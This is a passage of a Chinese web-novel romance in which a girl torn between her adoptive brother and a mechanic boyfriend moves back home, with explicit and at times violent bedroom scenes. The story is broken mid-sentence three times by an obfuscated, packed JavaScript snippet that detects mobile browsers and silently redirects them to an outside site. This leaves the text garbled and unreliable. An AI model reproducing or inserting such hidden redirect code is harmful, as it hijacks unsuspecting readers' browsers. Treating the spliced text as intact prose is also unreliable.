反而想和孟尽桀一起生活。 但黎予礼不傻,如果直接提出自己要和一个家里人完全不知底细的男人一起住,她的腿怕是要被打断。 况且她这样做多少有些恋爱脑。 孟尽桀见她学车的时候还心不在焉,假装生气:“老师的耐心也是有限的。” 她回过神,坐在车上一把拽过孟尽桀的衣领,敷衍地在他嘴角落下一吻:“男朋友的耐心是无限的。” 孟尽桀无法否认,但出于安全考虑还是暂时叫停了这项活动。 他单手把黎予礼从车上抱下来,说:“你在想什么?有什么烦心事吗?” “我在想,”她眼珠子一转,化用红毛开过的玩笑,“我能不能不当到点就要回家的公主。” 孟尽桀猜中她的心思:“你想在我这儿住?” 但他很快又自我反驳:“你哥不会同意的吧?” 何止啊。 说不定能把孟尽桀的腿也打断了。 黎予礼叹了口气:“所以我在想怎样才能实现。” “你可以住学校呀,启承宿舍条件很好,离我这又很近,我随时可以去接你。”孟尽桀很快提出方案。 “好主意啊。”黎予礼很快采纳。 这个办法既能满足她想在修车行待久一点的愿望,又不会让家里人觉得不妥当—— ——“不行,”小姨觉得不妥,“住家里不好吗?为什么想住学校呢予礼?” 黎予礼失策了,胡乱找借口搪塞:“住校的话我早上可以多睡一会儿,下了晚修在教室自习到很晚也方便回去。” 黎蓝瑛还是不同意:“要不你问问你哥,小姨是不太希望你住宿的,学校肯定比不上家里舒服呀。” “……”她不说话了。 问黎宴琛等于死路一条。 本来好好的住宿申请只要黎蓝瑛签个字就能上交学校,结果她还是得拿这张薄薄的纸,硬着头皮去找黎宴琛。 但黎家人都是一个德行,这个不同意那个也不同意。 黎宴琛好不容易来黎蓝瑛家和她见一次面,看到需要签字的“启承中学寄宿申请书”时却冷眼开口:“小姨这里住不惯的话就跟我回家。” “……”黎予礼瞪眼看他。 让她来这儿的是他,叫她回去的也是他。把她当成皮球吗?能被随意踢来又踢去。 “不签算了。”她恶狠狠地把纸揉成一团攥着手里。 起身回房前扔下一句“如果是我亲哥的话肯定会答应我的”。 黎宴琛立马追上去拉住她:“你说什么?” “我说,”黎予礼抬手想要挣脱,“我真正的亲人才不会这样对我,又是装定位器又是逼我住家里——” “——你放手!”她故意拔高这三个字的音量。 吸引了在楼上休息的黎蓝瑛。 “怎么啦?”小姨的问话从房里传出,紧接着就是开门和渐近的脚步声。 “哎哟你们兄妹俩都多久不见了,一见面就吵架啊?”黎蓝瑛快步走下来劝架。 黎宴琛这才舍得松开黎予礼的手。 小姨家里的暖气吹得人有些头晕。 她找借口说不舒服先回房了。 留黎蓝瑛在原地数落黎宴琛,唠唠叨叨好几句当哥哥的应该让着妹妹。 这些话黎青瑶生前也经常说,黎予礼现在觉得黎宴琛真的是听到梦里去了,丝毫没有践行。 回到房间,她把手里的纸团扔进垃圾桶。 掏出手机告诉孟尽桀这个坏消息。 【计划失败】 【我哥不同意】 孟尽桀一直没有回复。 大概是在忙吧。 今天是周日,但修车行除了春节外全年无休,孟尽桀拧了一整天的扳手。 好不容易停下来喘口气时,天色早已暗了,他抬起手臂用衣袖擦去额头上的汗珠。 一工作起来就忘了逾桐市冬夜寒冷,卷帘门外呼啸的风凉意沁骨,顺着汗湿的脊背攀上头皮。 他才打开手机,看到黎予礼给他发的消息。 不等他思考该如何安慰自己的公主,门外突然传来不速之客的脚步声。 ——皮鞋踏过水泥路面发出的脆响。 他握着手机抬头,对上了一双充满攻击性的眼眸。 23. 气味 孟尽桀握着手机的指节兀自施力,他靠坐在一辆面对着店门的车前引勤盖上,工装裤上沾了些许机油的污渍。 卫衣的收口边缘在多次机洗后变得不再平整。 和面前男人身上熨烫得没有一丝褶皱的西服形成了鲜明对比。 都是男人,他怎会看不出来者不善。 他知道黎宴琛是黎予礼口中谈不上亲近的哥哥,但对他而言也只是这个修车行里穿着较为格格不入的客人罢了。 于是他又换上自己的招牌笑容,嘴角扬起,眉眼间却藏着防备。 “有什么需要帮忙的吗?”他问。 黎宴琛没有回答,他一手插在西服裤口袋里,恰好露出腕间的手表。 上次来这儿,他没有施舍任何眼神,现在却仔仔细细把修车行打量了一遍。 最后目光落到了那辆停靠在墙边的自行车上。 车子看上去很新,和原来没什么区别,但又好像哪里都不一样了。 “来帮她取车?”孟尽桀挑眉。 他是故意这么问的,毕竟之前是黎予礼说要把车一直放在他这里,微信上也没提过她哥要来拿车的事。 黎宴琛竟面不改色地点了点头。 把孟尽桀的话当成了台阶。 他见状放下手机,嘴角笑意不减,走过去单手把自行车抬到黎宴琛面前。 “调了辐条交叉点张力,液压矫正过前叉和车架,链条和车把都是换的阿普兰原厂。” 他故意叽里咕噜说了一堆对方听不懂的专业术语,本以为会在黎宴琛脸上看到些什么有趣的表情。 没想到面前这个男人紧绷的下颌线始终不肯松动,他从西服内侧口袋里掏出手机,一副要给孟尽桀支付费用的模样。 “多少?”黎宴琛吐出轻飘飘的两个字。 孟尽桀险些笑出声,舔着自己的后槽牙问:“你是要替她出修理费吗?” 其实他根本就没打算收黎予礼的钱,也不知道她这个哥到底在想什么。 “我的意思是,”黎宴琛这句话几乎可以称得上是咬牙切齿,“你要多少?” 绷直的脊背和端正的体态让他得以能够俯视和他差不多高的孟尽桀,这种睥睨一切的眼神很容易让人感到不舒服。 向来涵养深厚的他极少用这样无礼的态度对待陌生人。 孟尽桀单手把住自行车车头,面对黎宴琛的视线丝毫不怯。 他最烦这种以为用钱就能解决一切问题的人。 “轮圈矫正两百、前叉和车架共计一千五、链条和车把的采购费用分别是三百和一千,算上工时费一起4200元,怎么支付?”他假装听不懂黎宴琛的问话,公事公办报了价。 “……”黎宴琛冷厉的眼眶中瞳孔微不可查地颤了颤。 他知道这个带着目的接近黎予礼的男人不好打发。 “不过您要怎么把车带回去啊?”孟尽桀歪着脑袋看向停在修车行外的宾利,“放不下吧?” 没人比孟尽桀更了解车后备箱的具体容量和经过他手的车子尺寸,不用试都知道这辆阿普兰放不进去。 黎宴琛也知道。 所以他的车一直装着后置自行车架,就是为了哪天去接黎予礼的时候能够妥善安放。 但自从上次没收了她的自行车,他就暂时拆下了后置车架,后来把车还给妹妹也是让司机送去学校的。 那段时间他忙于工作,疏忽大意了,而今天来修车行之前他并不知道妹妹的自行车在这里,他宾利车的屁股上自然没有装架子。 孟尽桀终于在他脸上看到一丝神情波动,大概是终于意识到事情在慢慢脱离掌控。 “不劳你操心,”黎宴琛甚至忘了礼貌用语,“方便说一下银行卡号吗?我直接把费用打到你卡上。” “哈哈,”孟尽桀彻底忍不住笑了,他心想黎予礼和这样无趣的哥哥生活在一起未免也太辛苦,“收款码在那儿,不过……” 他拖长尾音,单手推着自行车直直站到黎宴琛面前,挡住了手机摄像头。 “……我有说要让你带走它吗?” 孟尽桀敛起笑容,本就深邃的眼瞳像毒蛇吐信子时那般锐利。 黎宴琛这才知道,孟尽桀那句话并非给他递台阶,而是一步一步引他坠入深渊。 这个他以为只会拿扳手摆弄破铜烂铁的家伙实非善茬。 “除非她亲口跟我说,让您把车带走,否则不管您来多少次——” 孟尽桀只字不提黎予礼的姓名,却句句关乎她,摁着车头的手明显用力。 “它都是我的。” 他故意用同音词代替,叫人难辨他话里的主语。 但黎宴琛不可能听不出来他的挑衅。 在这样的情况下还能维持冷静,孟尽桀实在佩服,难怪黎予礼有时会表现出对哥哥的忌惮。 这种人一旦发起疯来谁都招架不住。 “如果没什么事的话我就不招待了,”孟尽桀把自行车挪到自己身后,“我看您的车子很新,应该没有需要修的地方吧?” 成年人的谈话总是迂回,看似客气的语句里夹带了不少私人情绪,这样弯弯绕绕地说话不是孟尽桀的风格。 他忍不住要送客:“虽然我没开过宾利,但感觉坐起来应该不舒服。” 如此明显的隐喻,黎宴琛肯定听懂了。 孟尽桀懒得再和他废话,推着车往里走,打算把他一个人晾在外边。 识相的话就会自行离开。 结果才刚放好自行车,孟尽桀就听到他沉沉一声叹息,似是无奈又似是嫌弃。 “她不喜欢这个味道。”黎宴琛突兀开口。 孟尽桀回头,皱着眉问:“你说什么?” “廉价的车载香薰,浓重的铁锈和柴油味,还有你身上为了去除污渍而放过量的无效洗衣液。” 不知为何黎宴琛这副挑剔的模样会让孟尽桀想起黎予礼。 “这些她都不喜欢。” 黎宴琛的眼神和语气仿佛把修车行贬低得一无是处。 孟尽桀用舌尖顶了顶自己的虎牙,似是在思考该如何应对男人的话。 他竟真的在回想黎予礼是否对男人提到的这些气味表露过任何不满。 “我不会干涉你,但我希望你不要让这些脏东西沾上她。” 黎宴琛扔下这句话,踏着他的皮鞋离开了修车行。 他几乎不会踏足这样的地方,路面的细碎石子划花了他的皮鞋底。 其实在黎宴琛走入修车行的那刻,他只一眼就看出了黎予礼口中这个所谓的哥哥到底揣着什么心思。 说白了他们心里渴求的都是一样的,只不过孟尽桀是暂时的赢家。 但他并不满足于现状,且对此很不爽。 三番五次想要跟黎予礼告状,却不知道怎么开口。 他的公主看上去并不知道自己生活在恶龙的觊觎之下。 但黎予礼看出了他的异常。 因为他以前从不在这样的时刻分心,让她捕捉到他舌尖上的犹豫。 黎予礼忍无可忍地抓住他的头发,把他从身下拽起来问:“你最近到底怎么了?” “……没,”孟尽桀舔了舔嘴角,“我弄得你不舒服吗?” 思绪都不知道飘到哪里了。 他在意的点竟然还是这个。 “你不说就别继续了。”黎予礼干脆叫停。 孟尽桀难得没有听从她的命令,伸手探到她腰后,用力把人往怀里一扣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855455|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不想破坏气氛。” 这委屈的语气让人听了还以为是黎予礼在折磨他。 不过他确实也被折磨了。 以难以言喻的方式。 黎予礼一直觉得他是顺从的,是讨好的,是容易满足的。 今天才发现他其实有另一面。 她照常瘫软在他臂弯里,盯着天花板想象那支不被准许的事后烟会是什么味道。 应该和这个房间里的香薰一样奇怪吧。 孟尽桀垂眸看着她的发旋。 半晌,他忽然低头凑上去吻了吻她的发鬓。 “你哥来过修车行。”他突兀开口。 “什么!?”黎予礼“噌”地一下坐起,覆盖在身上的被子顺势滑落,露出肩颈处淡淡的红痕,“他来找你?” 孟尽桀支起上半身,伸手帮她拉被子,眼神有些许躲闪:“算是吧。” “他是不是找你麻烦了?”她神色严肃,“他说什么了?” “没什么……”孟尽桀有意隐瞒,“他来付清了你的自行车修理费。” 黎予礼不疑有他:“我当初说该给多少给多少,是你自己拒绝我的。” 她以为孟尽桀对那笔未结清的费用耿耿于怀。 “不过就算是我给,花的也是我哥的钱,没什么差别。” 孟尽桀没有接话。 “但他怎么知道我在你这里修了车?”黎予礼发现疑点。 “可能,”孟尽桀自己都觉得荒谬,他竟然在帮黎宴琛找借口,“上次来接你的时候看到了?” “哦,也是。”黎予礼认同了这个说法。 来修车行不就是修车的吗,况且黎宴琛能看到定位器在哪,又知道她每一笔支出的去向,自然能够合理联想。 “他没说其他的?”黎予礼仍不放心。 她不相信黎宴琛专程来一趟修车行就是为了替她付钱。 这种地方可不像黎宴琛愿意来的。 “你希望他说什么?”孟尽桀笑着反问,“让我好好照顾你?” 不可能。 黎予礼睨他一眼。 这种话从黎宴琛嘴里说出来的概率比太阳从西边升起的还低。 她哥以前可是每天往返家校也会坚持亲自照顾她的人,怎会愿意把这个“照顾”的任务托付他人。 但孟尽桀把问题抛回来的行为让她有些不爽:“我哥肯定呛你了吧?” “什么?”他不是没听清,“你怎么知道?” 她想当然地答:“因为他之前也这样啊。” “哪样?” “就之前他接我下晚修,应该是恰好听到了我同学说喜欢我,他整个人像吃了哑火的炸药一样。” 黎予礼说出这个比喻的时候自己都没忍住笑了,毕竟黎宴琛那个样子实在少见。 孟尽桀险些以为她知道黎宴琛的心思,松了口气般:“这样啊。” “对吧?”她挑眉问,“他来你这儿的时候应该也是这样的,板着一张脸。” 孟尽桀笑笑不说话。 “看你这反应,想不到他其实是个很有礼貌的人吧?”她谈到黎宴琛的时候眼里的情绪和平时不太一样。 不过她自己没有察觉。 “还好,也不算没礼貌。”孟尽桀笑意渐浅。 黎予礼反驳:“你是不知道他平时对待别人什么样,那个词怎么说来着,温文尔雅……?” 孟尽桀忽然凑上去吻她。 带有侵略意味的双唇堵住了她的嘴。 “你干嘛……唔……!” 孟尽桀不回答。 只是不停吻她。 他不想退让。 也不想与人争抢。 更不想听她说无关他的话。 24. 回家 黎予礼一直不太喜欢冬天。 小时候她就很羡慕那些在暖和季节出生的人,能够在生日那天一身轻松。 不像她,每年都被裹成粽子。 妈妈喜欢给她穿毛绒绒的外套,外婆喜欢给她穿厚厚的棉服。 而黎宴琛在刚开始学习怎么给妹妹搭配服装的年纪,选择为她戴上一条又一条暖和的围巾。 她最常戴的那条红色围巾就是黎宴琛买的。 后来她长大了,对于穿着审美有了自己的想法,黎宴琛不再干涉她。但每年她的生日月伊始之时,他仍会在她床头放上一条崭新的、温暖的围巾。 今年也不例外。 不过改由小姨代为转交。 她没有见到他。 黎予礼坐在床边,盯着那条被叠得平平整整的格纹围巾,依旧是惹眼称人的红色。 她甚至能想象出黎宴琛抚平它的手有多轻柔。 羊绒织线里似还残留着他手心的温度。 黎予礼轻叹了一口气,一番心理斗争之下还是把围巾收进了靠在墙边的行李箱里。 她忽然意识到,自己不再期待过生日了。 以前收到新围巾,也代表黎宴琛在提醒她新一岁即将到来,她可以在这个月内肆无忌惮地提任何要求。 虽然寡言但实在宠她的哥哥总会无条件满足。 再加上黎宴琛每年都变着花样给她准备生日礼物,她自然会憧憬标志着成长刻度线的这一天到来。 可当她在名为“成年”的人生节点里得知自己生活了十八年的家皆由虚假堆砌,在此庆祝的纪念日也都化作笑柄。 嘲笑她的天真,嘲笑她早已深陷沼泽。 她忽然想起孟尽桀问过她的话。 “你不喜欢你哥吗?” 她没有正面回答,却又在动词改为“讨厌”时着急否认。 诚然,她无法在一夜之间把自己对黎宴琛的所有情感变成恨。 过于复杂的思绪像理不清的织线,让她想起黎宴琛送她的第一条围巾,被贪玩的她不小心弄出勾丝疵点。 黎宴琛当然没有怪她,还说要给她买一条新的。但她不肯,吵着闹着说就要这一条。 嘴里嚷嚷“这是哥哥送我的第一条围巾”,任黎宴琛怎么哄她也不消停。 无奈之下,连棒针都不知道怎么拿的他学起了针线活,终于在练习了无数次后替黎予礼修补好了那条围巾。 但她不知道。 她不知道哥哥为此打了多少个歪歪扭扭的针脚。 她只知道黎宴琛什么都能做到。 胡思乱想容易失眠,黎予礼在床上翻来覆去睡不着,从枕头下摸出手机一看,发现已经凌晨一点半了。 明天是周一,她可不能赖床。 正打算把手机放好认真睡觉,她左手顺势垫到枕头下方,右手下意识搭在左手腕上,摸到了那条细细的红绳。 好烦,一闭眼又想起黎宴琛。 她叹了口气,又把手机摸出来解锁屏保,打开了微信。 这个点,也不知道黎宴琛睡了没有。 她打开和备注名依旧是“哥哥”的联系人对话框,最近一条消息依旧是上个月的了。 黎宴琛叮嘱她天冷注意保暖,她回了个“1”就再没下文。 其他时候大多是小姨代为转告,比如什么买了水蜜桃罐头、买了两箱NFC桃汁、买了桃子戚风蛋糕之类的事情。 黎予礼以为是没有专程告诉她的必要。 虽然现在的她不想和黎宴琛单独处在一个屋檐下,但一直在小姨家住下去也不是办法。 总归来说还是不太方便,本来就隔了一层关系,知道真相后更是毫无亲缘可言。 她纠结半晌,试探性地主动给黎宴琛发了条消息。 【你最近还是很忙吗?】 意料之外,黎宴琛竟然秒回。 【怎么还没睡】 【不忙了】 看到他第一句回复就是熟悉的唠叨配方,黎予礼在手机这头小声嘀咕:“你不也没睡,只许哥哥放火不许妹妹点灯。” 这话她以前也常说,有段时间都快说成口头禅了。 现在脱口而出那个称呼后她竟还有些不习惯。 【怎么了】 【你哪里不舒服吗】 黎宴琛见她没有回复,很快发来两个问句。 又来。 又以为她不舒服。 到底能不能盼她点好。 黎予礼没好气地用力敲打屏幕。 【没怎么】 【你不忙了为什么还让我住小姨这里啊?】 她手比脑子快,发出这条消息时自己都没有意识到哪里不对劲。 本来一开始黎宴琛把她送过来就是以自己“太忙了顾不上她”为借口,她不过是提出了合理质疑。 黎予礼看着他的备注名从“哥哥”变成“正在输入中…”,却许久未收到回复。 她险些要怀疑他是个不会使用智能机的老年人,打几个字而已至于这么慢吗? 【你不想住小姨家吗】 等了半天就这么一句问话。 黎予礼没耐心了。 【对啊我想住学校】 【你又不同意】 【干脆别管我了】 【反正我也不是你们黎家的小孩】 不出所料黎宴琛又沉默了,隔着手机屏幕她都能想象到他现在是什么表情。 她在这个时间点给黎宴琛发消息的本意不是想吵架,但不知为何每每面对他时情绪总是难以控制。 心理学研究表明,部分人对亲近者存在“理想化投射”,认为对方身为自己的亲近之人理应充分考虑自己的想法。 而当现实与期待不符,则会出现“双标”——对亲人的容忍度远远低于外人的情况。 黎予礼虽不了解心理学,但她似乎也在始终未等来回复的聊天界面外意识到,自己带刺的话语任谁也不知该怎么接。 她拇指轻轻滑动屏幕,悬停在黎宴琛那句“不忙了”的消息气泡上。 原来她已经不再掌握哥哥的近况了。 从前她可是不管黎宴琛是否主动报备都会缠着他盘问不停的人。 可笑的兄妹啊,虚妄的关系失去了人为牵绊真的会就此疏远。 其实那天孟尽桀告诉她黎宴琛去过修车行后,她一直在等他主动开口。 一直在等他质问她和孟尽桀的关系。 可是他没有。 漠不关心似的。 和她预想之中不同,也和拆穿谎言前有别。 看来是演都不想演了,他也觉得假扮她的哥哥是一件很累的事吧? 黎予礼自嘲地扯了扯嘴角,在黑暗房间里略微刺眼的屏幕光亮仿佛加重了她的眼皮。 她在快要被困意席卷的瞬间萌生了一个更可笑的念头。 为什么不继续利用黎宴琛对她的好。 这是他欠她的。 于是她强撑着给黎宴琛发去一条消息。 【有空了就来接我回家】 * “予礼呀,在小姨这里住得不舒服吗?”黎蓝瑛身上披着羊毛斗篷,非要把黎予礼送到门口。 那天晚上她发完消息后就昏睡过去了,早上醒来才看到黎宴琛的回复。 【好】 【周日早九点去接你】 黎宴琛说话算话,准时准点在周日早上摁响了小姨家的门铃。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855456|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅帮她收拾了完全没整理的行李,还不让任何人搭把手,自己一手一个箱子拎下了楼。 黎予礼一身轻松,撅着嘴跟黎蓝瑛撒娇:“哪有啊小姨,我哥不忙了我就先回去啦,等我考完试再来打扰你!” “哎哟住我这里多好呀,一点都不打扰。”黎蓝瑛嘴上不舍得她走,手上却并没有挽留。 大抵是看出了兄妹俩关系尴尬,也想借机帮助缓和。 黎予礼轻轻抱了抱小姨,摸到她身上薄薄的披风,立马假装生气:“小姨你穿太少啦!快回去吧,不用送了。” 黎宴琛的宾利就停在别墅门口,她搞不懂这家人到底为什么这么客气,两步路也要亲自送。 风刮过她裸露在围巾外的脸颊,她把手缩在袖子里,只能像招财猫那样挥手。 “我走啦,小姨、小姨父拜拜!” 黎宴琛正好把她两个行李箱都塞进了后备箱里,起身对着黎蓝瑛点头示意,惜字如金的他连一句道别都不说。 不知道的还以为他才是外人呢。 黎予礼冲他皱了皱鼻子。 太久不坐四轮车,她还真有些不习惯。 那个桃子摆件依旧在副驾驶前中控台上欢迎她,车内也依旧是熟悉的桃子味香薰,令人舒心。 她下意识打量车上有何变化,偏头却对上了黎宴琛的视线。 准确来说,他的目光落在她颈间的围巾上。 柔和的,温暖的。 她恍惚间以为自己看错了,黎宴琛向来紧抿的唇上竟露出一丝笑意。 但转瞬即逝。 应该是她看错了。 她把安全带系好,转头靠着车窗。 黎宴琛或许以为她习惯性小憩,正打算关掉车内音乐,不料她突兀抛来一句话。 “小姨还不知道。” 他听到这话后扭头看了妹妹一眼,心里了然她所指的事情是什么。 “但她迟早会知道的,”黎予礼轻声叹气,“我不管你是怎么打算的,但我和你闹得再难看也不想影响小姨,她身体不好,我怕……” 人要避谶,她没把最坏的预设说出口。 黎宴琛“嗯”了一声,车内再度陷入沉默。 没被关掉的车载音乐随机播放到一首黎予礼听不懂的粤语歌。她记得黎宴琛有段时间经常去港城出差,大概就是那个时候他往歌单里添加了一些新鲜曲目。 旋律不错,她听得有些困了。 但难以辨认的歌词让她产生了好奇心,她打了个哈欠问:“这歌你听得懂吗?” “什么?”黎宴琛好像没听清。 “我说,”她一字一顿复述,“这首歌的歌词你听得懂吗?” 他目不斜视:“……大概吧,怎么了?” “唱的什么?”她直白提问。 “爱情。” 黎宴琛言简意赅。 也是。 流行歌不是唱爱情甜蜜就是唱悲情分离,没什么新意。 不过这歌确实挺好听的,黎予礼又多问了一嘴:“歌名叫什么?” 黎宴琛稍有停顿:“……不记得了。” 他握方向盘的手微微用力,视线有一秒飘向了左后视镜。 连黎予礼自己都觉得惊讶,她竟然立刻察觉出了黎宴琛的不对劲。 他好像在撒谎。 但她不敢确定。 因为在她记忆里,除了他们的兄妹关系以外,黎宴琛从来没骗过她什么。 因此她没有对照参考,无法妄下定论。 车内暖气温度适宜,脖子上的围巾裹得她有些发热。 她盯着黎宴琛的侧脸,时刻绷紧的下颌线出现了一瞬的松懈。 “你刚刚在撒谎吗?”她问。 25. 生日 黎予礼用审视的眼神盯着他。 他喉结上下滑动,没有回答。 “那我听歌识曲咯。”她作势掏出手机,余光瞥见黎宴琛好似没有反应。 动作没有阻止,情绪没有波动。 她一下就没了劲儿。 这首歌偏偏在她打开音乐软件后唱到了尾声,没来得及被识别辨认。 黎予礼不耐烦地叹了口气,权当是有缘无分,不听也罢。 像她和黎宴琛的关系,逐渐僵硬,步入尾声。 感情难以辨认,内容识别不清。 黎予礼时常在想,她和黎宴琛能不能假扮兄妹一辈子。 两根细细的红绳、早已离世的双亲、身体不好的小姨也足以捆绑他们。 多有趣。 她竟也因这样预想之中的可笑结果,难得在孟尽桀这张被他们碾出不少褶皱的床上分了心。 黎宴琛送她的那条围巾像枕巾一样覆盖在她垫着的枕头上,细密的汗珠顺着发梢湿了那暖和的羊绒布料。 孟尽桀的房间里没有暖气。 过冷的冬趁机溜进骨缝里。 她被迫让孟尽桀把她搂得更紧,那只她早已明晰宽度的手掌完全覆盖住她的肩胛骨,粗粝的薄茧轻轻摩擦着她的皮肤。 但他的体温却无法渡至她身。 怎么会这样呢。 她抬手攀上孟尽桀的肩颈,让彼此之间不再有空隙。 不再让冬天有机会将他们分离。 孟尽桀早已看出她的心不在焉,目光落在她颈下那条摊开的围巾上。 格纹图案变成了宽大的捕网,落入陷阱的人不是她。 他俯身去吻她颈侧时,嗅到从羊绒织线里透出的淡淡果香。 这不是黎予礼身上的气味。 却是她喜欢的、属于她的气味。 孟尽桀想到那天黎宴琛来修车行的时候说的话,围巾的颜色染得他眼眶猩红,他第一次在黎予礼身上失了控。 仅凭一只手就可箍住她的大腿,孟尽桀凿取的动作愈发用力。 他深知自己从不是一个温柔的人。 在修车行里暴力拆卸变速箱的方式不温柔,徒手掰断生锈螺栓的动作不温柔,用圆头锤敲打冲子头部的力道不温柔。 他是每天把自己置于生死时速中的亡命之徒,自私得连性命都可以不顾,怎会真正在乎别人的感受。 怎会指望一个突然出现的女生改变他。 黎予礼本就因低温而微微发抖的身躯被他弄得有些痉挛,她搂着他的动作逐渐变成推开。 可她使不上劲,被压制的感觉并不好受。 “孟尽桀……”她唇边泄出一声低唤。 实是最后通牒。 孟尽桀充耳不闻。 她忍无可忍,抬手朝着男人用力一扇,清亮的巴掌声打断了所有动作。 惊得寒冬四下逃窜。 孟尽桀目光呆滞,左脸火辣辣的疼,隐隐残留着黎予礼指间的气息。 他一下没了方才的强势。 见状,黎予礼掐着他的脖子翻身把他压在下方。 骑在他腹上的同时抽出那条铺在枕头上的围巾。 死死捂住孟尽桀的眼鼻。 让他不得光明。 让他无法喘息。 黎予礼向来记仇、报复心强,但不会真正责怪她这个不知道哪根筋突然搭错了的对象。 更何况是在床上。 她俯身去亲男人不再勾起的唇,玩笑似的咬着他嘴角开口:“你活腻了吧?” 孟尽桀没有回答。 覆盖着他的羊绒围巾变成了密不透风的网。 他不是活腻了。 而是彻底输了。 * 黎予礼在生日前一天跟黎宴琛说今年不用送她礼物。 理由是不知道真假的日子不过也罢。 黎宴琛却说已经帮她请好了假,让她休息一天。 “不知道的还以为我不用高考呢。”黎予礼四仰八叉地躺在自己的床上。 望着吊顶设计独特的天花板,和孟尽桀房间里的一片死白对比鲜明。 对啊。 黎宴琛只说让她休息。 又没规定她必须在哪休息。 她即刻起床洗漱,拿手机看了眼天气温度,换好衣服围上围巾出了门。 本想发消息让孟尽桀来接她,又担心这个点会耽误修车行生意。 打个车吧。 她用手机叫了网约车。 拉开后座车门时,她余光瞥见不远处停着一辆很像她家司机开的车子。 大概是黎宴琛吩咐司机在那儿待命的吧。 其实她一直猜不透黎宴琛到底是什么态度,明明已经去修车行找过孟尽桀了,为什么没有对她提起此事。 如果他真的不关心,大可不必特意去到那样他根本不会踏足的地方。 为此黎予礼还故意试探了一次。 上周末她从学校回家,在路上给黎宴琛发了一条微信消息。 【好饿】 通常在她不详细说明自己想吃什么的情况下,黎宴琛会根据她的喜好采买一些零食。 这个时候的“好饿”等于“嘴馋”。 如果是在她心情不好的时候,黎宴琛会变着法子给她准备一些新奇食物。 这个时候的“好饿”等于“难过”。 如果是在她被迫跟着大人参加了一些无意义的饭局后,黎宴琛会亲自下厨给她开小灶。 这个时候的“好饿”等于“没饱”。 她在黎宴琛面前从来不用剖白自己。 意料之中,司机把她送到时家里空无一人。 黎宴琛多半还在给她买吃的。 还没等她坐在沙发上休息两分钟,就收到了黎宴琛的消息。 【买了桃子、奶茶和蛋糕】 她满意地勾唇,敲打屏内键盘的指尖带着坏心思。 【谢谢老公(可爱)】 黎宴琛几乎秒回。 【?】 【你叫我什么?】 【回答。】 她把手机扔到一旁,故意晾着黎宴琛,想看看他着急的反应。 结果三句消息过后她再没等到什么愤怒的话语。 没劲。 她扁着嘴角打字解释。 【……老哥】 【打错字了】 本以为这个插曲就这么过去了,没想到黎宴琛回到家后冷着脸问她要手机。 他一手拎着桃子、蛋糕和奶茶的包装袋,一手伸到她面前。 黎予礼垂眸看了一眼这只曾被她当成枕头的手,纹路明显的掌心上没有粗粝的茧。 被她垫着的时候总是温暖宽厚的。 “干嘛?你有什么资格查我手机?”她没好气地问。 话问出去又突然想起自己的手机是黎宴琛买的。 某种程度上论他确实有资格。 她不情不愿地交出去,以为黎宴琛是那种控制欲很强的家长,想要挖掘她消息记录里的秘密。 她还贴心地主动把微信打开。 可他接过手机后却只是看了一眼自己和黎予礼的聊天界面,调出输入法摁下“lao”和“g”四个拼音。 看到候选词栏内“老公”排在“老哥”前面。 他没说什么。 把手机还给了黎予礼。 真没劲。 估计连她给孟尽桀改的备注名都没看到。 黎予礼在那次日落之后,就把列表里的“修车行老板孟尽桀”改成了“专属司机”,本意是占有。 却恰好成了掩饰。 孟尽桀对此没有意见,他心甘情愿给黎予礼当司机,甚至想谋权篡位。 要不是她担心自家司机会和黎宴琛通风报信,她早让孟尽桀全权负责接送了。 两轮车可比四轮车有意思。 她坐着没意思的四轮车来到修车行,以为能够见到那辆让她快活的黑色机车,却不料店里只有红毛一个人。 红毛看到她,一脸惊讶:“欸,你今天不上课吗?” “请假了。”黎予礼往修车行里面望。 “别找了,桀哥不在。”红毛正拿着扳手,身上穿的衣服算不上厚。 边说还边一阵哆嗦。 黎予礼轻车熟路地找出一张干净的椅子坐下:“他去哪了?” “进货,”红毛随手敲了敲腿边的铁架子,金属碰撞声有些刺耳,“他那些改装过的宝贝要检修了。” “……哪些?”黎予礼皱眉。 没想到这个称呼还会被用在其他东西身上。 “就他那几辆车啊,”红毛指了指后面,“除了他载你的那辆之外。” 黎予礼有些坐不住了:“你的意思是,他用来载我的那辆不是什么好车吗?” 红毛立马摆手:“不不不你理解错了,改装车不是什么好东西,这个路段出车祸的基本都是改装车。” “那为什么说是宝贝……?”黎予礼无法理解。 “因为改装车能够突破车子原有限制啊,我们这些不要命的人飙起车来只在乎速度。”红毛憨笑着,仿佛嘴里说的是什么玩笑话。 可这分明是关乎性命的大事。 黎予礼忽然有些发怵。 毕竟孟尽桀说过会保证她的安全。 但现在看来这话好像轻如鸿毛,比起沉重的生命。 “不过桀哥真挺喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855457|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 